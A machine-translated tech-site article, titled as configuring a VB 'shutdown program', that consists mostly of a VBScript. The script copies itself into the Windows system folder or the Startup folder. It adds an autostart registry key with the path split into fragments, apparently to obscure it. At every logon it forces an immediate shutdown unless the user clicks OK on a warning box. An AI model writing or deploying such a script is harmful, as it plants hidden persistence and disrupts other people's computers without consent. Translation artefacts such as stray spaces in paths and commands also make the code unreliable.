Get the App
SLTechnology News&Howtos  ›  Development  › 

How to configure the shutdown program under vb

Shulou Source: shulou.com Published: 2022-06-03 09:21:36 11月16日 Update

This article introduces the knowledge of "how to configure the shutdown program under vb". In the operation of actual cases, many people will encounter such a dilemma, so let the editor lead you to learn how to deal with these situations. I hope you can read it carefully and be able to achieve something!

The copy code is as follows:

Dim fs, dirwin, c,Wll, str,strr,r

Set fs = CreateObject ("Scripting.FileSystemObject")

Set dirwin = fs.GetSpecialFolder (1)

Set Wll = WScript.CreateObject ("WScript.Shell")

Set c = fs.GetFile (WScript.ScriptFullName)

Str = "HK" & "LM\ SOFT" & "WARE\ Micr" & "osoft\ Win" & "dows\ Curren" & "tVersion\ R" & "un\ wxb"

If (fs.FileExists (dirwin& "\ wxb.vbs") Then

Call Show_And_Do ("reg")

Elseif (fs.FileExists ("C:\ Documents and Settings\ All Users\ Start Menu\ Programs\ Startup\ wxb.vbs") Then

Call Show_And_Do ("Startup")

Else

On Error Resume Next

Strr= ""

Wll.RegWrite str, "C:\ WINDOWS\ system32\ wxb.vbs", "REG_SZ"

Strr=Wll.Regread (str)

If strr= "" then

C.Copy ("C:\ Documents and Settings\ All Users\ Start Menu\ Programs\ Startup\ wxb.vbs")

Else

C.Copy (dirwin& "\ wxb.vbs")

End if

End if

Sub Show_And_Do (s)

Dim f

R = MsgBox ("warning: please don't touch my computer!" & Chr (13) & Chr (10) & "be sure-> I'll ask for permission next time" & Chr (10) & "cancel-> whatever you like, I don't care about him", 4145, "MsgBox Example")

If r = 1 Then

If s = "Startup" then

Set f = fs.GetFile ("C:\ Documents and Settings\ All Users\ Start Menu\ Programs\ Startup\ wxb.vbs")

F.Delete ()

Elseif s = "reg" then

Wll.RegDelete str

Set f = fs.GetFile (dirwin& "\ wxb.vbs")

F.Delete ()

End if

Else

Wll.run "Shutdown.exe-s-f-t 0"

End If

End sub

This is the end of the content of "how to configure the shutdown program under vb". Thank you for reading. If you want to know more about the industry, you can follow the website, the editor will output more high-quality practical articles for you!

Tags: Program configuration code content more knowledge practicality achievement next dilemma reality situation article case computer ribbon website industry process high quality Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno vpn Shulou Information NVidia MariaDB OPPO Reno